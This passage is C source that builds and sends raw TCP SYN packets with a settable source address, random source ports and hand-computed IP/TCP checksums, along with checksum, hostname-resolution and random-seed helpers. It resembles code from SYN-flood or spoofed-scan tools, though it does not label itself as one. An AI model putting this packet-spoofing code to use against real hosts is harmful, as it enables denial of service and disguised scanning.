   send_tcp.ip.protocol = IPPROTO_TCP; 
   send_tcp.ip.check = 0; 
   send_tcp.ip.saddr = source_addr; 
   send_tcp.ip.daddr = dest_addr; 
    
   /* form tcp packet */ 
   send_tcp.tcp.source = ran_port; 
   send_tcp.tcp.dest = htons(dest_port); 
   send_tcp.tcp.seq = ran_port;    
   send_tcp.tcp.ack_seq = 0; 
   send_tcp.tcp.res1 = 0; 
   send_tcp.tcp.doff = 5; 
   send_tcp.tcp.fin = 0; 
   send_tcp.tcp.syn = 1; 
   send_tcp.tcp.rst = 0; 
   send_tcp.tcp.psh = 0; 
   send_tcp.tcp.ack = 0; 
   send_tcp.tcp.urg = 0; 
   send_tcp.tcp.window = htons(512); 
   send_tcp.tcp.check = 0; 
   send_tcp.tcp.urg_ptr = 0; 
    
   /* setup the sin struct */ 
   sin.sin_family = AF_INET; 
   sin.sin_port = send_tcp.tcp.source; 
   sin.sin_addr.s_addr = send_tcp.ip.daddr;    
    
   /* (try to) open the socket */ 
   tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 
   if(tcp_socket < 0) 
   { 
      perror("socket"); 
      exit(1); 
   } 
    
      /* set fields that need to be changed */ 
      send_tcp.tcp.source++; 
      send_tcp.ip.id++; 
      send_tcp.tcp.seq++; 
      send_tcp.tcp.check = 0; 
      send_tcp.ip.check = 0; 
       
      /* calculate the ip checksum */ 
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      send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); 
 
      /* set the pseudo header fields */ 
      pseudo_header.source_address = send_tcp.ip.saddr; 
      pseudo_header.dest_address = send_tcp.ip.daddr; 
      pseudo_header.placeholder = 0; 
      pseudo_header.protocol = IPPROTO_TCP; 
      pseudo_header.tcp_length = htons(20); 
      bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); 
      send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32); 
      sinlen = sizeof(sin); 
      sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen); 
   close(tcp_socket); 
} 
//--------------------------------------- 
 
unsigned short in_cksum(unsigned short *ptr, int nbytes) 
{ 
 register long  sum;  /* assumes long == 32 bits */ 
 u_short   oddbyte; 
 register u_short answer;  /* assumes u_short == 16 bits */ 
 
 sum = 0; 
 while (nbytes > 1)  { 
  sum += *ptr++; 
  nbytes -= 2; 
 } 
 
 if (nbytes == 1) { 
  oddbyte = 0;  /* make sure top half is zero */ 
  *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */ 
  sum += oddbyte; 
 } 
 
 sum  = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ 
 sum += (sum >> 16);   /* add carry */ 
 answer = ~sum;  /* ones-complement, then truncate to 16 bits */ 
 return(answer); 
} 
//--------------------------------------- 
 
unsigned int host2ip(char *hostname) 
{ 
   static struct in_addr i; 
   struct hostent *h; 
   i.s_addr = inet_addr(hostname); 
   if(i.s_addr == -1) 
   { 
      h = gethostbyname(hostname); 
      if(h == NULL) 
      { 
         fprintf(stderr, "cant find %s!\n", hostname); 
         exit(0); 
      } 
      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); 
   } 
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   return i.s_addr; 
} 
//--------------------------------------- 
 
void initrand(void) 
{ 
  struct timeval tv; 
  
  gettimeofday(&tv, (struct timezone *) NULL); 
  srand(tv.tv_usec); 
}  

          

  


